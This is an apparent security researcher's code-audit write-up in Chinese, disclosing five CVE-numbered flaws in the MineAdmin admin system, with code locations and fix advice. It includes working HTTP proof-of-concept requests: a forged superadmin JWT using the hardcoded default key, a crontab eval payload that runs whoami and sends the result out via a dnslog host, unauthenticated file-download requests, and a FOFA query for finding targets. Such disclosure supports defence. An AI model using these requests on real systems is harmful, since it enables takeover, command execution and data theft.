MineAdmin企业级后台管理系统代码审计
SourByte Researcher

本文对【MineAdmin 企业级后台管理系统】进行了代码审计共发现5个有价值的漏洞,包括逻辑缺陷 (CVE-2026-1195)、命令执行 (CVE-2025-65854) 、任意文件下载漏洞 (CVE-2026-1197)、任意文件读取漏洞 (CVE-2026-1196)、垂直越权漏洞 (CVE-2026-1193)。

1
受影响版本:MineAdmin v1.x-2.x	FOFA:body="MineAdmin"

1. 逻辑缺陷漏洞 (CVE-2026-1195)

漏洞描述:
/system/refresh 接口存在逻辑缺陷。攻击者可以未授权构造一个签名为超级管理员的 JWT,直接骗过系统,通过刷新接口获取一个合法的、拥有管理员权限的新 Token。

代码位置:
app/System/Controller/LoginController.php

代码分析:

描述

[PostMapping(‘refresh’)]仅定义了路由缺失权限控制,并且直接信任 $user 对象。在 Hyperf/MineAdmin 架构中,通常使用 #[Auth] 注解来强制要求请求必须携带有效 Token 并通过中间件校验。

描述

config/autoload/jwt.php默认密钥硬编码为 ‘mineAdmin’大多数管理员署时未修改 .env,那么密钥就是公开的

POC:

1
2
3
4
5
6
7
8
POST /system/refresh HTTP/1.1
Host: 127.0.0.1:9501
Accept: application/json, text/plain, */*
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJkZWZhdWx0XzY5NWM2MTVhOGI0YzY2LjkyMzg1MzE1IiwiaWF0IjoxNzY3NjYxOTE0LjU3MDU5MSwibmJmIjoxNzY3NjYxOTE0LjU3MDU5MSwiZXhwIjoxNzcwMjUzOTE0LjU3MDU5MSwiaWQiOjEsInVzZXJuYW1lIjoic3VwZXJBZG1pbiIsInVzZXJfdHlwZSI6IjEwMCIsIm5pY2tuYW1lIjoi5Yib5aeL5Lq6IiwiY3JlYXRlZF9hdCI6IjIwMjUtMDctMDIgMTM6Mzg6NDEiLCJ1cGRhdGVkX2F0IjoiMjAyNi0wMS0wNiAxNzoxNDowMCIsInJlbWFyayI6bnVsbCwiand0X3NjZW5lIjoiZGVmYXVsdCJ9.I2U0hOY91omT0Dh1K6Wibnx04D2fv03Pb1MWX9CRXdI
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh_CN

描述

修复建议:
refresh 方法中强制校验 JWT 签名有效性,确保 Token 是由服务器签发的。


2. 命令执行漏洞 (CVE-2025-65854)

漏洞描述:
利用CVE-2026-1195获取管理员权限,/setting/crontab/save 接口允许管理员(或通过弱口令)创建定时任务。创建 type=4 (Eval) 的任务,并把恶意 PHP 代码写入 target 字段,即可执行任意命令。

代码位置:
app/Setting/Controller/Tools/CrontabController.php

代码分析

描述

控制器未对 typetarget 做安全限制。配合 app/Setting/Service/SettingCrontabService.php 中的 run 方法:

描述

type 为 Eval 时,target 内容被执行。

POC:添加恶意命令

1
2
3
4
5
6
7
8
9
10
11
POST /setting/crontab/save HTTP/1.1
Host: 127.0.0.1:9501
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJkZWZhdWx0XzY5NWNiNWY3ZWVhODAyLjkxMTg5NDMwIiwiaWF0IjoxNzY3NjgzNTc1Ljk3NzU0MywibmJmIjoxNzY3NjgzNTc1Ljk3NzU0MywiZXhwIjoxNzY3NjkwNzc1Ljk3NzU0MywiaWQiOjEsInVzZXJuYW1lIjoic3VwZXJBZG1pbiIsInVzZXJfdHlwZSI6IjEwMCIsIm5pY2tuYW1lIjoi5Yib5aeL5Lq6IiwiY3JlYXRlZF9hdCI6IjIwMjUtMDctMDIgMTM6Mzg6NDEiLCJ1cGRhdGVkX2F0IjoiMjAyNi0wMS0wNiAxNzoxNDowMCIsInJlbWFyayI6bnVsbCwiand0X3NjZW5lIjoiZGVmYXVsdCJ9.BUVL91bTIAMMyvVdsu7jFffSl39IWVZV2hpKYzuWPaI
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh_CN
Content-Length: 141

{"singleton":"2","status":"1","name":"test","type":"4","rule":"30 */5 * * * *","target":"eval('$user = shell_exec(\"whoami\"); system(\"ping -n 1 " . trim($user) . ".5yzhle6v.dnslog.pw\");');"}

描述

POC:执行恶意命令

1
2
3
4
5
6
7
8
9
10
11
POST /setting/crontab/run HTTP/1.1
Host: 127.0.0.1:9501
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJkZWZhdWx0XzY5NWNiNWY3ZWVhODAyLjkxMTg5NDMwIiwiaWF0IjoxNzY3NjgzNTc1Ljk3NzU0MywibmJmIjoxNzY3NjgzNTc1Ljk3NzU0MywiZXhwIjoxNzY3NjkwNzc1Ljk3NzU0MywiaWQiOjEsInVzZXJuYW1lIjoic3VwZXJBZG1pbiIsInVzZXJfdHlwZSI6IjEwMCIsIm5pY2tuYW1lIjoi5Yib5aeL5Lq6IiwiY3JlYXRlZF9hdCI6IjIwMjUtMDctMDIgMTM6Mzg6NDEiLCJ1cGRhdGVkX2F0IjoiMjAyNi0wMS0wNiAxNzoxNDowMCIsInJlbWFyayI6bnVsbCwiand0X3NjZW5lIjoiZGVmYXVsdCJ9.BUVL91bTIAMMyvVdsu7jFffSl39IWVZV2hpKYzuWPaI
Accept-Encoding: gzip, deflate
Accept-Language: zh_CN
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Content-Length: 8

{"id":2}

描述

描述

修复建议:
严格限制或禁止创建 type=4 (Eval) 类型的定时任务。使用白名单校验 target 内容。


3. 任意文件下载漏洞 (CVE-2026-1197)

漏洞描述:
/system/downloadById?id= 接口未进行权限验证。攻击者可以通过枚举 id(自增数字)下载服务器上的任意附件。

代码位置:
app/System/Controller/UploadController.php

代码分析:

描述

该方法缺少 #[Auth] 注解,导致未登录用户即可访问。

POC:

1
2
GET /system/downloadById?id=3 HTTP/1.1
Host:127.0.0.1

描述

修复建议:
添加 #[Auth] 注解,并根据业务需求添加权限校验(如 #[Permission] )。


4. 任意文件读取漏洞 (CVE-2026-1196)

漏洞描述:
/system/getFileInfoById?id= 接口未进行权限验证。攻击者可通过枚举 id 获取文件的详细信息(包括 hash),进而利用 hash 通过其他接口下载或查看文件。

代码位置:
app/System/Controller/UploadController.php

代码分析:

描述

描述

该方法同样缺少 #[Auth] 注解,未登录用户可直接访问。

POC:

1
2
GET /system/getFileInfoById?id=43 HTTP/1.1
Host: 127.0.0.1:9501
1
2
3
4
hash读取接口poc:
/system/showFile/e10adc3949ba59abbe56e057f20f883e
hash下载接口poc:
/system/downloadByHash?hash=e10adc3949ba59abbe56e057f20f883e

描述

描述

修复建议:
添加 #[Auth] 注解,并加强权限校验。


5. 垂直越权漏洞 (CVE-2026-1193)

漏洞描述:
/system/cache/view 接口存在垂直越权漏洞。虽然需要登录(有 #[Auth]),但缺少具体的 #[Permission] 权限标识。任何登录用户(包括普通用户)都可以访问该接口查看 Redis 缓存内容,包括管理员 Token 等敏感信息。

代码位置:
app/System/Controller/Monitor/CacheMonitorController.php

代码分析:

描述

同类中其他方法如 monitordelete 均有 #[Permission(...)] 注解,唯独 view 方法缺失。

POC:普通用户垂直越权访问MineAdmin:Token:1(管理员token)

1
2
3
4
5
6
7
8
9
POST /prod/system/cache/view HTTP/1.1
Host: 127.0.0.1:8888
Accept-Language: zh_CN
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Authorization: Bearer (此处替换普通用户token)
Content-Type: application/json;charset=UTF-8
Content-Length: 27

描述

修复建议:
添加相应的权限注解,例如 #[Permission('system:cache:view')],限制只有具备该权限的用户才能访问。

源码地址:

[https://github.com/mineadmin/MineAdmin/archive/refs/tags/v2.0-stable.zip]:

 评论
评论插件加载失败
正在加载评论插件